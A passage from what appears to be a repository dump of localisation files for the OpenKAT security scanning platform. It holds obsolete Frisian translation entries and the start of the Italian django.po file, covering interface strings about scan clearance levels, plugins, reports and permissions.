msgstr \"Foegje in objekt ta foar it DNS-rapport, bygelyks in URL.\"\n\n#~ msgid \"Create your first object, a URL by filling out the form below.\"\n#~ msgstr \"Meitsje it earste objekt oan troch in URL yn te foljen.\"\n\n#~ msgid \"\"\n#~ \"Additional details and examples can be found by pressing on the help \"\n#~ \"button next to the input field.\"\n#~ msgstr \"\"\n#~ \"Ekstra details en foarbylden binne te finen troch op de helpknop njonken \"\n#~ \"it ynfierfjild te drukken.\"\n\n#~ msgid \"Dependencies\"\n#~ msgstr \"Ofhinklikheden\"\n\n#~ msgid \"\"\n#~ \"Most objects have dependencies on the existence of other objects. For \"\n#~ \"example a URL needs to be connected to a network, hostname, fqdn (fully \"\n#~ \"qualified domain name) and IP address. OpenKAT collects these additional \"\n#~ \"object automatically when possible. By running plugins to collect or \"\n#~ \"extract this data.\"\n#~ msgstr \"\"\n#~ \"De measte objekten binne ôfhinklik fan it bestean fan oare objekten. In \"\n#~ \"URL moat bygelyks ferbûn wêze mei in netwurk, hostnamme, FQDN (Fully \"\n#~ \"Qualified Domain Name) en IP-adres. OpenKAT sammelet dizze oanfoljende \"\n#~ \"objekten wêr mooglik automatysk, troch ynstekkers út te fieren dy’t dizze \"\n#~ \"gegevens sammelje of ekstrahearje.\"\n\n#~ msgid \"\"\n#~ \"The additional objects that OpenKAT created will be added to your object \"\n#~ \"list as separate objects. If OpenKAT can’t add them automatically it will \"\n#~ \"guide you through the process of creating them manually.\"\n#~ msgstr \"\"\n#~ \"De ekstra objekten dy’t OpenKAT makke hat sille as ôfsûnderlike objekten \"\n#~ \"oan jo objektelist tafoege wurde. As OpenKAT se net automatysk tafoegje \"\n#~ \"kin, liedt it jo troch it proses om se hânmjittich oan te meitsjen.\"\n\n#~ msgid \"\"\n#~ \"Based on the url you provided OpenKAT added the necessary additional \"\n#~ \"objects to create a url object.\"\n#~ msgstr \"\"\n#~ \"Op basis fan de troch jo opjûne URL hat OpenKAT de nedige ekstra objekten \"\n#~ \"tafoege om in URL-objekt te meitsjen.\"\n\n#~ msgid \"URL\"\n#~ msgstr \"URL\"\n\n#~ msgid \"Owner\"\n#~ msgstr \"Eigener\"\n\n#~ msgid \"Path\"\n#~ msgstr \"Paad\"\n\n#~ msgid \"Hostname\"\n#~ msgstr \"Hostnamme\"\n\n#~ msgid \"scheme\"\n#~ msgstr \"skema\"\n\n#~ msgid \"Network\"\n#~ msgstr \"Netwurk\"\n\n#~ msgid \"Start scanning\"\n#~ msgstr \"Begjin mei scannen\"\n\n#~ msgid \"OpenKAT Introduction\"\n#~ msgstr \"Yntroduksje OpenKAT\"\n\n#~ msgid \"Setup scan - OOI clearance for\"\n#~ msgstr \"Opset scan – OOI-frijwarring foar\"\n\n#~ msgid \"How to know required clearance level\"\n#~ msgstr \"Hoe kieze jo it krekte frijwarringsnivo\"\n\n#~ msgid \"\"\n#~ \"An example of a more aggressive scan. Which has a scan intensity score of \"\n#~ \"3. Meaning it requires at least a level 3 clearance level to be set on \"\n#~ \"your object.\"\n#~ msgstr \"\"\n#~ \"In foarbyld fan in agressivere scan. Dy hat in scanyntinsiteitsskoare fan \"\n#~ \"3. Dit betsjut dat der op syn minst ien frijwarringsnivo 3 fereaske is \"\n#~ \"foar it objekt.\"\n\n#~ msgid \"Acknowledge clearance level\"\n#~ msgstr \"Frijwarringsnivo befêstigje\"\n\n#~ msgid \"Setup scan - Set clearance level for\"\n#~ msgstr \"Opset scan – Frijwarringsnivo ynstelle foar\"\n\n#~ msgid \"Setup scan - Enable plugins\"\n#~ msgstr \"Scan opsette – Ynstekkers aktivearje\"\n\n#~ msgid \"Plugins introduction\"\n#~ msgstr \"Yntroduksje ynstekkers\"\n\n#~ msgid \"\"\n#~ \"OpenKAT uses plugins to scan, check and analyze. Each plugin will bring a \"\n#~ \"specific skillset that will help to generate your report. There are three \"\n#~ \"types of plugins.\"\n#~ msgstr \"\"\n#~ \"OpenKAT brûkt ynstekkers om te scannen, te kontrolearjen en te \"\n#~ \"analysearjen. Elke ynstekker hat spesifike feardichheden dy’t helpe by it \"\n#~ \"generearjen fan jo rapport. Der binne trije soarten ynstekkers.\"\n\n#~ msgid \"Boefjes:\"\n#~ msgstr \"Boefkes:\"\n\n#~ msgid \"\"\n#~ \"Scan objects for data. Each boefje has a scan intensity score to prevent \"\n#~ \"invasive scanning on objects where you don’t have the clearance to do so.\"\n#~ msgstr \"\"\n#~ \"Objekten scanne foar gegevens. Elk Boefke hat in frijwarringsnivo om te \"\n#~ \"soargjen dat objekten net te agressyf scand wurde.\"\n\n#~ msgid \"Normalizers:\"\n#~ msgstr \"Normalizers:\"\n\n#~ msgid \"\"\n#~ \"Check the data for specific objects and add these object to your object \"\n#~ \"list.\"\n#~ msgstr \"\"\n#~ \"Kontrolearje de gegevens foar spesifike objekten en foegje dizze ta oan \"\n#~ \"jo objektelist.\"\n\n#~ msgid \"Bits:\"\n#~ msgstr \"Bits:\"\n\n#~ msgid \"Analyze the available data to come to insights and conclusions.\"\n#~ msgstr \"\"\n#~ \"Bits binne de bedriuwsregels dy’t de objekten analysearje en konklúzjes \"\n#~ \"lûke.\"\n\n#~ msgid \"Let’s setup your scan by enabling the plugins of your choice below.\"\n#~ msgstr \"\"\n#~ \"Litte wy jo scan ynstelle troch de ynstekkers fan jo kar hjirûnder yn te \"\n#~ \"skeakeljen.\"\n\n#~ msgid \"Required and suggested plugins\"\n#~ msgstr \"Fereaske en foarstelde ynstekkers\"\n\n#~ msgid \"Enable and start scan\"\n#~ msgstr \"Ynskeakelje en scan starte\"\n\n#~ msgid \"\"\n#~ \"During this introduction we ask you to wait till the scan is ready. After \"\n#~ \"which you can view the report.\"\n#~ msgstr \"\"\n#~ \"Wylst de yntroduksje freegje wy jo om te wachtsjen oant de scan foltôge \"\n#~ \"is.\"\n\n#~ msgid \"Open my DNS-report\"\n#~ msgstr \"DNS-rapport iepenje\"\n\n#~ msgid \"1: Introduction\"\n#~ msgstr \"1: Yntroduksje\"\n\n#~ msgid \"2: Choose a report\"\n#~ msgstr \"2: Kies in rapport\"\n\n#~ msgid \"3: Setup scan\"\n#~ msgstr \"3: Start de scan\"\n\n#~ msgid \"4: Open report\"\n#~ msgstr \"4: Rapport iepenje\"\n\n#~ msgid \"3: Indemnification\"\n#~ msgstr \"3. Frijwarring\"\n\n#~ msgid \"4: Account setup\"\n#~ msgstr \"4: Account ynstelle\"\n\n#~ msgid \"OpenKAT Setup\"\n#~ msgstr \"OpenKAT ynstelle\"\n\n#, python-brace-format\n#~ msgid \"{name} successfully created.\"\n#~ msgstr \"{name} mei sukses oanmakke.\"\n\n#~ msgid \"The name of the organisation\"\n#~ msgstr \"De namme fan de organisaasje\"\n\n#~ msgid \"Observed at:\"\n#~ msgstr \"Sjoen op:\"\n\n#~ msgid \"Created by:\"\n#~ msgstr \"Oanmakke troch:\"\n\n#~ msgid \"\"\n#~ \"To generate a report you can start by selecting report types or by \"\n#~ \"selecting objects.\"\n#~ msgstr \"\"\n#~ \"Om in rapport te generearjen begjinne jo mei it selektearjen fan de \"\n#~ \"winske rapporten of objekten.\"\n\n#~ msgid \"Report Navigation\"\n#~ msgstr \"Rapportnavigaasje\"\n\n#~ msgid \"Aggregate Report\"\n#~ msgstr \"Rapport aggregearje\"\n\n#~ msgid \"Multi Report\"\n#~ msgstr \"Multi-rapport\"\n\n#~ msgid \"Account Type\"\n#~ msgstr \"Accounttype\"\n\n#~ msgid \"Every member of OpenKAT must be part of an account type.\"\n#~ msgstr \"Elke brûker fan OpenKAT moat part wêze fan in accounttype.\"\n\n#~ msgid \"\"\n#~ \"Where on the dashboard do you want to show the data? Position 1 is the \"\n#~ \"most top level and the max position is 16.\"\n#~ msgstr \"\"\n#~ \"Wêr op it dashboerd wolle jo de gegevens toane? Posysje 1 is it heechste \"\n#~ \"nivo en de maksimale posysje is 16.\"\n\n#~ msgid \"Crisis Room overview for all organizations\"\n#~ msgstr \"Krisissinntrumoersjoch foar alle organisaasjes\"\n\n#~ msgid \"Crisis Room Navigation\"\n#~ msgstr \"Navigaasje krisissintrum\"\n\n#~ msgid \"Download report\"\n#~ msgstr \"Rapport downloade\"\n\n#~ msgid \"Schedule {}\"\n#~ msgstr \"Skema {}\"\n\n#~ msgid \"This plugin is enabled.\"\n#~ msgstr \"Dizze ynstekker is ynskeakele.\"\n\n#~ msgid \"This plugin is disabled.\"\n#~ msgstr \"Dizze ynstekker is útskeakele.\"\n\n#, python-format\n#~ msgid \"You don't have permission to enable or disable %(plugin)ss.\"\n#~ msgstr \"Jo hawwe gjin tastimming om %(plugin)s yn of út te skeakeljen.\"\n\n#~ msgid \"KAT-alogus Settings\"\n#~ msgstr \"KAT-alogus-ynstellingen\"\n\n#~ msgid \"\"\n#~ \"There are currently no settings defined. Add settings at plugin detail \"\n#~ \"page.\"\n#~ msgstr \"\"\n#~ \"Der binne op dit stuit gjin ynstellingen. Foegje ynstellingen ta by de \"\n#~ \"ynstekkerdetailside.\"\n\n#, python-format\n#~ msgid \"\"\n#~ \"These are the findings of a OpenKAT-analysis (%(observed_at)s). Click a \"\n#~ \"finding for more detailed information about the issue, its origin, \"\n#~ \"severity and possible solutions.\"\n#~ msgstr \"\"\n#~ \"Dit binne de befiningen fan in OpenKAT-analyze (%(observed_at)s). Klik op \"\n#~ \"in befining foar mear detaillearre ynformaasje oer it probleem, de \"\n#~ \"oarsprong, earnst en mooglike oplossingen.\"\n\n#~ msgid \"DNS Tree\"\n#~ msgstr \"DNS-beam\"\n\n#~ msgid \"Overview of reports\"\n#~ msgstr \"Oersjocht fan rapporten\"\n\n#~ msgid \"Organization:\"\n#~ msgstr \"Organisaasje:\"\n\n#~ msgid \"Your password must contain at least the following:\"\n#~ msgstr \"Jo wachtwurd moat op syn minst it folgjende befetsje:\"\n\n#~ msgid \" special characters such as: \"\n#~ msgstr \" spesjale tekens, lykas: \"\n\n#~ msgid \"\"\n#~ \"Failed to get list of findings for organization {}, check server logs for \"\n#~ \"more details.\"\n#~ msgstr \"\"\n#~ \"Koe list mei befiningen foar organisaasje {} net ophelje, kontrolearje \"\n#~ \"serverlochboeken foar mear details.\"\n\n#~ msgid \"You don't have permission to enable\"\n#~ msgstr \"Jo hawwe gjin tastimming om yn te skeakeljen\"\n\n#~ msgid \"(Required)\"\n#~ msgstr \"(Fereaske)\"\n\n#~ msgid \"this field is required\"\n#~ msgstr \"Dit fjild is ferplichte\"\n\n#~ msgid \"This field is required\"\n#~ msgstr \"Dit fjild is ferplichte\"\n\n#~ msgid \"Enable plugins and continue\"\n#~ msgstr \"Ynstekkers ynskeakelje en trochgean\"\n\n#, python-format\n#~ msgid \"Select object (%(total_oois)s)\"\n#~ msgid_plural \"Select objects (%(total_oois)s)\"\n#~ msgstr[0] \"Selektearje objekt (%(total_oois)s)\"\n#~ msgstr[1] \"Selektearje objekten (%(total_oois)s)\"\n\n#~ msgid \"Go to the object page\"\n#~ msgstr \"Gean nei de objektside\"\n\n#, python-format\n#~ msgid \"You have selected %(total_oois)s object in previous step.\"\n#~ msgid_plural \"You have selected %(total_oois)s objects in previous step.\"\n#~ msgstr[0] \"Jo hawwe yn de foarige stap %(total_oois)s objekt selektearre.\"\n#~ msgstr[1] \"Jo hawwe yn de foarige stap %(total_oois)s objekten selektearre.\"\n\n#~ msgid \"\"\n#~ \"\\n\"\n#~ \"                            You don't have any clearance to scan objects.\"\n#~ \"<br>\\n\"\n#~ \"                            Get in contact with the admin to give you the \"\n#~ \"necessary clearance level.\\n\"\n#~ \"                        \"\n#~ msgstr \"\"\n#~ \"\\n\"\n#~ \"                            Jo hawwe gjin frijwarring om objekten te \"\n#~ \"scannen.<br>\\n\"\n#~ \"               Nim kontakt op mei de behearder om jo it nedige \"\n#~ \"frijwarringsnivo te jaan.\\n\"\n#~ \"                        \"\n\n#, python-format\n#~ msgid \"\"\n#~ \"\\n\"\n#~ \"                            Withdraw L%(acl)s clearance and \"\n#~ \"responsibility\\n\"\n#~ \"                    \"\n#~ msgstr \"\"\n#~ \"\\n\"\n#~ \"                            L%(acl)s frijwarringsnivo ynlûke\\n\"\n#~ \"                    \"\n\n#, python-format\n#~ msgid \"\"\n#~ \"\\n\"\n#~ \"                        Accept level L%(tcl)s clearance and \"\n#~ \"responsibility\\n\"\n#~ \"                    \"\n#~ msgstr \"\"\n#~ \"\\n\"\n#~ \"                        Frijwarringsnivo L%(tcl)s akseptearje\\n\"\n#~ \"                    \"\n\n#~ msgid \"\"\n#~ \"\\n\"\n#~ \"                        You can create a new Boefje. If you want more \"\n#~ \"information on this,\\n\"\n#~ \"                        you can check out the <a href=\\\"https://docs.\"\n#~ \"openkat.nl/developer_documentation/development_tutorial/creating_a_boefje.\"\n#~ \"html\\\">documentation</a>.\\n\"\n#~ \"                    \"\n#~ msgstr \"\"\n#~ \"\\n\"\n#~ \"                        Jo kinne in nij Boefje meitsje. As jo hjir mear \"\n#~ \"ynfo oer wolle,\\n\"\n#~ \"                        kinne jo de <a href=\\\"https://docs.openkat.nl/\"\n#~ \"developer_documentation/development_tutorial/creating_a_boefje.\"\n#~ \"html\\\">dokumintaasje</a> neilêze.\\n\"\n#~ \"                    \"\n\n#, python-format\n#~ msgid \"\"\n#~ \"\\n\"\n#~ \"        Use the form below to clone the settings from \"\n#~ \"<i>%(current_organization)s</i> to the selected organization.\\n\"\n#~ \"        This includes both the KAT-alogus settings as well as enabled and \"\n#~ \"disabled plugins.\\n\"\n#~ \"      \"\n#~ msgstr \"\"\n#~ \"\\n\"\n#~ \"        Brûk ûndersteand formulier om de ynstellingen fan \"\n#~ \"<i>%(current_organization)s</i> te klonen nei de selektearre \"\n#~ \"organisaasje.\\n\"\n#~ \"        Dit omfettet sawol de KAT-alogus-ynstellingen, as ynskeakele en \"\n#~ \"útskeakele ynstekkers.\\n\"\n#~ \"      \"\n\n#~ msgid \"\"\n#~ \"\\n\"\n#~ \"                            Plugin available\\n\"\n#~ \"                        \"\n#~ msgid_plural \"\"\n#~ \"\\n\"\n#~ \"                            Plugins available\\n\"\n#~ \"                        \"\n#~ msgstr[0] \"\"\n#~ \"\\n\"\n#~ \"                            Ynstekker beskikber\\n\"\n#~ \"                        \"\n#~ msgstr[1] \"\"\n#~ \"\\n\"\n#~ \"                            Ynstekkers beskikber\\n\"\n#~ \"                        \"\n\n#~ msgid \"\"\n#~ \"\\n\"\n#~ \"                    Boefje variants that use the same container image. \"\n#~ \"For more\\n\"\n#~ \"                    information about Boefje variants you can read the \"\n#~ \"documentation.\\n\"\n#~ \"                \"\n#~ msgstr \"\"\n#~ \"\\n\"\n#~ \"                    Boefje-farianten dy’t deselde kontenerôfbylding \"\n#~ \"brûke. Foar mear\\n\"\n#~ \"                    ynformaasje oer Boefje-farianten kinne jo de \"\n#~ \"dokumintaasje neilêze.\\n\"\n#~ \"                \"\n\n#~ msgid \"\"\n#~ \"\\n\"\n#~ \"            Add setting\\n\"\n#~ \"          \"\n#~ msgid_plural \"\"\n#~ \"\\n\"\n#~ \"            Add settings\\n\"\n#~ \"          \"\n#~ msgstr[0] \"\"\n#~ \"\\n\"\n#~ \"            Ynstelling tafoegje\\n\"\n#~ \"          \"\n#~ msgstr[1] \"\"\n#~ \"\\n\"\n#~ \"            Ynstellingen tafoegje\\n\"\n#~ \"          \"\n\n#~ msgid \"\"\n#~ \"\\n\"\n#~ \"            Setting\\n\"\n#~ \"          \"\n#~ msgid_plural \"\"\n#~ \"\\n\"\n#~ \"            Settings\\n\"\n#~ \"          \"\n#~ msgstr[0] \"\"\n#~ \"\\n\"\n#~ \"            Ynstelling\\n\"\n#~ \"          \"\n#~ msgstr[1] \"\"\n#~ \"\\n\"\n#~ \"            Ynstellingen\\n\"\n#~ \"          \"\n\n#~ msgid \"\"\n#~ \"\\n\"\n#~ \"                  Add setting and enable boefje\\n\"\n#~ \"                \"\n#~ msgid_plural \"\"\n#~ \"\\n\"\n#~ \"                  Add settings and enable boefje\\n\"\n#~ \"                \"\n#~ msgstr[0] \"\"\n#~ \"\\n\"\n#~ \"                  Ynstelling tafoegje en Boefje ynskeakelje\\n\"\n#~ \"                \"\n#~ msgstr[1] \"\"\n#~ \"\\n\"\n#~ \"                  Ynstellingen tafoegje en Boefje ynskeakelje\\n\"\n#~ \"                \"\n\n#~ msgid \"\"\n#~ \"\\n\"\n#~ \"                Add setting\\n\"\n#~ \"              \"\n#~ msgid_plural \"\"\n#~ \"\\n\"\n#~ \"                Add settings\\n\"\n#~ \"              \"\n#~ msgstr[0] \"\"\n#~ \"\\n\"\n#~ \"                Ynstelling tafoegje\\n\"\n#~ \"              \"\n#~ msgstr[1] \"\"\n#~ \"\\n\"\n#~ \"                Ynstellingen tafoegje\\n\"\n#~ \"              \"\n\n#~ msgid \"\"\n#~ \"\\n\"\n#~ \"                        In the table below the settings for this specific \"\n#~ \"Boefje can be seen.\\n\"\n#~ \"                        Set or change the value of the variables by \"\n#~ \"editing the settings.\\n\"\n#~ \"                    \"\n#~ msgstr \"\"\n#~ \"\\n\"\n#~ \"                        Yn de tabel hjirûnder stean de ynstellingen foar \"\n#~ \"dit spesifike Boefje.\\n\"\n#~ \"                        Stel yn of wizigje de wearde fan de fariabelen \"\n#~ \"troch de ynstellingen te bewurkjen.\\n\"\n#~ \"                    \"\n\n#~ msgid \"\"\n#~ \"\\n\"\n#~ \"                    OpenKAT has a permission system that allows \"\n#~ \"administrators to\\n\"\n#~ \"                    configure which users can set a certain clearance \"\n#~ \"level. The will make sure\\n\"\n#~ \"                    that only users that are trusted can start the more \"\n#~ \"aggressive scans.\\n\"\n#~ \"                \"\n#~ msgstr \"\"\n#~ \"\\n\"\n#~ \"                    OpenKAT hat in tastimmingssysteem dat behearders yn \"\n#~ \"steat stelt om te konfigurearjen hokker brûkers in bepaald \"\n#~ \"frijwarringsnivo yn stelle kinne. Dit soarget derfoar dat allinnich \"\n#~ \"brûkers dy’t fertroud binne, de mear agressive scans starte kinne.\\n\"\n#~ \"                \"\n\n#, python-format\n#~ msgid \"\"\n#~ \"\\n\"\n#~ \"                            Accept level L%(tcl)s clearance and \"\n#~ \"responsibility\\n\"\n#~ \"                        \"\n#~ msgstr \"\"\n#~ \"\\n\"\n#~ \"                            Frijwarringsnivo L%(tcl)s en \"\n#~ \"ferantwurdlikheid akseptearje\\n\"\n#~ \"                        \"\n\n#~ msgid \"Download PDF\"\n#~ msgstr \"PDF downloade\"\n\n#~ msgid \"Download JSON\"\n#~ msgstr \"JSON downloade\"\n\n#~ msgid \"This is the OpenKAT\"\n#~ msgstr \"Dit is de OpenKAT\"\n\n#~ msgid \"Created with date from: \"\n#~ msgstr \"Oanmakke mei de datum fan: \"\n\n#~ msgid \"Created on: \"\n#~ msgstr \"Oanmakke op: \"\n\n#~ msgid \"Created by: \"\n#~ msgstr \"Oanmakke troch: \"\n\n#~ msgid \"This sector contains\"\n#~ msgstr \"Dizze sektor befettet\"\n\n#~ msgid \"scanned organizations.\"\n#~ msgstr \"scande organisaasjes.\"\n\n#~ msgid \"A total of \"\n#~ msgstr \"In totaal fan \"\n\n#~ msgid \" critical vulnerabilities have been identified.\"\n#~ msgstr \" kritike kwetsberheden binne identifisearre.\"\n\n#~ msgid \"Scan frequency\"\n#~ msgstr \"Scanfrekwinsje\"\n\n#~ msgid \"Concatenated Report\"\n#~ msgstr \"Gearfoege rapport\"\n\n#~ msgid \"\"\n#~ \"Define a custom name format for your report(s). This format will be \"\n#~ \"applied to all generated (sub)reports.\"\n#~ msgstr \"\"\n#~ \"Definiearje in oanpast nammesjabloan foar jo rapport. Dit sjabloan sil \"\n#~ \"tapast wurde op alle generearre (sub)rapporten.\"\n\n#~ msgid \"Subreports name format\"\n#~ msgstr \"Subrapportnammeformaat\"\n\n#~ msgid \"Input Objects\"\n#~ msgstr \"Input objekten\"\n\n#~ msgid \"Close children report object details\"\n#~ msgstr \"Underlizzende rapportobjektdetails slute\"\n\n#~ msgid \"Open children report object details\"\n#~ msgstr \"Underlizzende rapportobjektdetails iepenje\"\n\n#~ msgid \"Subreports details:\"\n#~ msgstr \"Details subrapporten :\"\n\n#~ msgid \"Subreports\"\n#~ msgstr \"Subrapporten\"\n\n#~ msgid \"Shows subreport details\"\n#~ msgstr \"Subrapportdetails toane\"\n\n#~ msgid \"View all subreports\"\n#~ msgstr \"Alle subrapporten besjen\"\n\n#~ msgid \"Input\"\n#~ msgstr \"Ynfier\"\n\n#, python-format\n#~ msgid \"Showing %(length)s of %(total)s subreports\"\n#~ msgstr \"%(length)s fan %(total)s subrapporten toand\"\n\n#~ msgid \"Subreports:\"\n#~ msgstr \"Subrapporten:\"\n\n#~ msgid \"Accounts\"\n#~ msgstr \"Accounts\"\n\n#~ msgid \"\"\n#~ \"The date you select will be the reference date for the data set for your \"\n#~ \"report. Please allow for up to 24 hours for your report to be ready.\"\n#~ msgstr \"\"\n#~ \"De datum dy’t jo kieze sil de referinsjedatum wêze foar de gegevensset \"\n#~ \"foar jo rapport. It kin oant 24 oeren duorje eardat jo rapport ree is.\"\n\n#~ msgid \"No findings have been found.\"\n#~ msgstr \"Der binne gjin befiningen fûn.\"\n\n#~ msgid \"Editing this boefje is not allowed because it is static.\"\n#~ msgstr \"Dit Boefje bewurkje is net tastien, omdat it statysk is.\"\n\n#~ msgid \"A HTTP error occurred. Check logs for more info.\"\n#~ msgstr \"\"\n#~ \"Der is in HTTP-flater bard. Kontrolearje de lochboeken foar mear \"\n#~ \"ynformaasje.\"\n\n#, python-format\n#~ msgid \"\"\n#~ \"These are the findings of a OpenKAT-analysis on %(observed_at)s. Click a \"\n#~ \"finding for more detailed information about the issue, its origin, \"\n#~ \"severity and possible solutions.\"\n#~ msgstr \"\"\n#~ \"Dit binne de befiningen fan in OpenKAT-analyze %(observed_at)s. Klik op \"\n#~ \"in befining foar mear detaillearre ynformaasje oer it probleem, de \"\n#~ \"oarsprong, earnst en mooglike oplossingen.\"\n\n#~ msgid \"\"\n#~ \"Boefjes gather factual information, such as by calling an external \"\n#~ \"scanning tool like nmap or using a database like shodan.\"\n#~ msgstr \"\"\n#~ \"Boefkes sammelje feitlike ynformaasje, bygelyks troch in eksterne \"\n#~ \"scantool, lykas Nmap te brûken of it gebrûk fan in database, lykas Shodan.\"\n\n#~ msgid \" Details\"\n#~ msgstr \" Details\"\n\n#~ msgid \"Action\"\n#~ msgstr \"Aksje\"\n\n#~ msgid \"Unset\"\n#~ msgstr \"Net ynfolle\"\n\n#~ msgid \"Failed fetching settings for {}. Is the Katalogus up?\"\n#~ msgstr \"Opheljen fan ynstellingen {} mislearre. Is de Katalogus aktyf?\"\n\n#~ msgid \"Before enabling, please set the required settings for '{}'.\"\n#~ msgstr \"Stel foar it ynskeakeljen de fereaske ynstellingen yn foar ‘{}’.\"\n\n#~ msgid \"Select Objects\"\n#~ msgstr \"Selektearje objekten\"\n\n#~ msgid \"Please select an OOI to start scan.\"\n#~ msgstr \"Selektearje in OOI om de scan te starten.\"\n\n#~ msgid \"Selected objects:\"\n#~ msgstr \"Selektearre objekten:\"\n\n#~ msgid \"Latest plugin settings:\"\n#~ msgstr \"Lêste ynstekkerynstellingen:\"\n\n#~ msgid \"Overview of settings:\"\n#~ msgstr \"Oersjoch fan ynstellingen:\"\n\n#~ msgid \"For this tutorial we suggest a DNS-report to get you started.\"\n#~ msgstr \"Dizze útlis makket gebrûk fan it DNS-rapport.\"\n\n#~ msgid \"DNS report\"\n#~ msgstr \"DNS-rapport\"\n\n#~ msgid \"\"\n#~ \"Within OpenKAT you can view reports for each of your current objects. For \"\n#~ \"specific reports you can choose one of the available report types and \"\n#~ \"generate a report. Such as a pen-test, a DNS-report or a mail report to \"\n#~ \"give some examples.\"\n#~ msgstr \"\"\n#~ \"Binnen OpenKAT kinne jo rapporten besjen foar elk fan jo aktuele \"\n#~ \"objekten. Foar spesifike rapporten kinne jo ien fan de beskikbere \"\n#~ \"rapporttypen kieze en in rapport generearje. Lykas in pentest, in DNS-\"\n#~ \"rapport of in Mailrapport.\"\n\n#~ msgid \"Clearance level:\"\n#~ msgstr \"Frijwarringsnivo:\"\n\n#~ msgid \"Selected object\"\n#~ msgid_plural \"Selected objects\"\n#~ msgstr[0] \"Selektearre objekt\"\n#~ msgstr[1] \"Selektearre objekten\"\n\n#~ msgid \"Permission to set OOI clearance levels \"\n#~ msgstr \"Tastimming om frijwarringsnivo’s fan OOI yn te stellen \"\n\n#~ msgid \"You have currently accepted clearance up to level \"\n#~ msgstr \"Jo hawwe op dit stuit frijwarring akseptearre oant nivo \"\n\n#~ msgid \"\"\n#~ \"If you don’t remember the email address connected to your account, \"\n#~ \"contact: \"\n#~ msgstr \"\"\n#~ \"As jo it oan jo account keppele e-mailadres net mear witte, nim dan \"\n#~ \"kontakt op mei: \"\n\n#~ msgid \"Publisher\"\n#~ msgstr \"Utjouwer\"\n\n#~ msgid \"You don't have permission to enable \"\n#~ msgstr \"Jo hoege gjin tastimming om yn te skeakeljen. \"\n"
  },
  {
    "path": "rocky/rocky/locale/it/LC_MESSAGES/django.po",
    "content": "# Brenno de Winter <brenno@dewinter.com>, 2023, 2025.\n# Luca Racchetti <razzo1987@gmail.com>, 2023, 2025.\n#: reports/forms.py\nmsgid \"\"\nmsgstr \"\"\n\"Project-Id-Version: PACKAGE VERSION\\n\"\n\"Report-Msgid-Bugs-To: \\n\"\n\"POT-Creation-Date: 2025-08-20 07:38+0000\\n\"\n\"PO-Revision-Date: 2025-08-22 09:39+0000\\n\"\n\"Last-Translator: Luca Racchetti <razzo1987@gmail.com>\\n\"\n\"Language-Team: Italian <https://hosted.weblate.org/projects/openkat/nl-kat-\"\n\"coordination/it/>\\n\"\n\"Language: it\\n\"\n\"MIME-Version: 1.0\\n\"\n\"Content-Type: text/plain; charset=UTF-8\\n\"\n\"Content-Transfer-Encoding: 8bit\\n\"\n\"Plural-Forms: nplurals=2; plural=n != 1;\\n\"\n\"X-Generator: Weblate 5.13\\n\"\n\n#: account/admin.py\nmsgid \"Permissions\"\nmsgstr \"Permessi\"\n\n#: account/admin.py\nmsgid \"Important dates\"\nmsgstr \"Date importanti\"\n\n#: account/forms/account_setup.py crisis_room/forms.py\n#: katalogus/templates/katalogus_settings.html\n#: katalogus/templates/plugin_container_image.html\n#: reports/report_types/dns_report/report.html\n#: reports/report_types/tls_report/report.html\n#: reports/templates/partials/report_names_form.html\n#: reports/templates/report_overview/modal_partials/delete_modal.html\n#: reports/templates/report_overview/modal_partials/rename_modal.html\n#: reports/templates/report_overview/modal_partials/rerun_modal.html\n#: reports/templates/report_overview/modal_partials/share_modal.html\n#: reports/templates/report_overview/report_history_table.html\n#: reports/templates/report_overview/scheduled_reports_table.html\n#: reports/templates/report_overview/subreports_table.html\n#: tools/forms/boefje.py rocky/templates/organizations/organization_list.html\n#: rocky/templates/organizations/organization_settings.html\n#: rocky/templates/partials/ooi_detail_related_object.html\nmsgid \"Name\"\nmsgstr \"Nome\"\n\n#: account/forms/account_setup.py\nmsgid \"The name that will be used in order to communicate.\"\nmsgstr \"\"\n\n#: account/forms/account_setup.py\nmsgid \"Please provide username\"\nmsgstr \"\"\n\n#: account/forms/account_setup.py\n#: rocky/templates/organizations/organization_member_list.html\nmsgid \"Email\"\nmsgstr \"E-mail\"\n\n#: account/forms/account_setup.py\nmsgid \"Enter an email address.\"\nmsgstr \"\"\n\n#: account/forms/account_setup.py\nmsgid \"Password\"\nmsgstr \"Password\"\n\n#: account/forms/account_setup.py\nmsgid \"Choose a super secret password\"\nmsgstr \"\"\n\n#: account/forms/account_setup.py\nmsgid \"Choose another email.\"\nmsgstr \"Scegli un'altra e-mail.\"\n\n#: account/forms/account_setup.py tools/forms/settings.py\nmsgid \"--- Please select one of the available options ----\"\nmsgstr \"--- Seleziona una delle opzioni disponibili ----\"\n\n#: account/forms/account_setup.py\nmsgid \"Account type\"\nmsgstr \"\"\n\n#: account/forms/account_setup.py\nmsgid \"Please select an account type to proceed.\"\nmsgstr \"Seleziona un tipo di account per procedere.\"\n\n#: account/forms/account_setup.py\n#: onboarding/templates/step_4_trusted_acknowledge_clearance_level.html\nmsgid \"Trusted clearance level\"\nmsgstr \"Livello di autorizzazione fidato\"\n\n#: account/forms/account_setup.py\nmsgid \"Select a clearance level you trust this member with.\"\nmsgstr \"\"\n\"Seleziona un livello di autorizzazione che ritieni affidabile per questo \"\n\"membro.\"\n\n#: account/forms/account_setup.py onboarding/forms.py tools/forms/ooi.py\nmsgid \"Please select a clearance level to proceed.\"\nmsgstr \"Seleziona un livello di autorizzazione per procedere.\"\n\n#: account/forms/account_setup.py tools/models.py\nmsgid \"The name of the organization.\"\nmsgstr \"Il nome dell'organizzazione.\"\n\n#: account/forms/account_setup.py\nmsgid \"explanation-organization-name\"\nmsgstr \"spiegazione-nome-organizzazione\"\n\n#: account/forms/account_setup.py\n#, python-brace-format\nmsgid \"A unique code of maximum {code_length} characters in length.\"\nmsgstr \"\"\n\n#: account/forms/account_setup.py\nmsgid \"explanation-organization-code\"\nmsgstr \"spiegazione-codice-organizzazione\"\n\n#: account/forms/account_setup.py\nmsgid \"Organization name is required to proceed.\"\nmsgstr \"Il nome dell'organizzazione è necessario per procedere.\"\n\n#: account/forms/account_setup.py\nmsgid \"Choose another organization.\"\nmsgstr \"Scegli un'altra organizzazione.\"\n\n#: account/forms/account_setup.py\nmsgid \"Organization code is required to proceed.\"\nmsgstr \"Il codice dell'organizzazione è necessario per procedere.\"\n\n#: account/forms/account_setup.py\nmsgid \"Choose another code for your organization.\"\nmsgstr \"Scegli un altro codice per la tua organizzazione.\"\n\n#: account/forms/account_setup.py\nmsgid \"\"\n\"I declare that OpenKAT may scan the assets of my organization and that I \"\n\"have permission to scan these assets. I am aware of the implications a scan \"\n\"(with a 